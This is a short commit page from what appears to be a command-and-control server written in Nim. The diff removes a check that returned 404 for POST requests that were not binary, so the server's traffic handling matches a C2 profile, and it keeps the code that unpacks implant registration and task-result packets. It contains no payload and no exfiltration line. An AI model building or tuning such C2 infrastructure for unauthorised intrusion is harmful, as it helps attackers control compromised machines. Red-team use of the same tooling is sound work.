Removed POST header check interfering with C2 profile.
This commit is contained in:
@@ -120,12 +120,6 @@ proc httpGet*(request: Request) =
|
||||
proc httpPost*(request: Request) =
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
# Check headers
|
||||
# If POST data is not binary data, return 404 error code
|
||||
if request.headers.get("Content-Type") != "application/octet-stream":
|
||||
request.respond(404, body = "")
|
||||
return
|
||||
|
||||
try:
|
||||
# Differentiate between registration and task result packet
|
||||
var unpacker = Unpacker.init(request.body)
|
||||
|
||||
Reference in New Issue
Block a user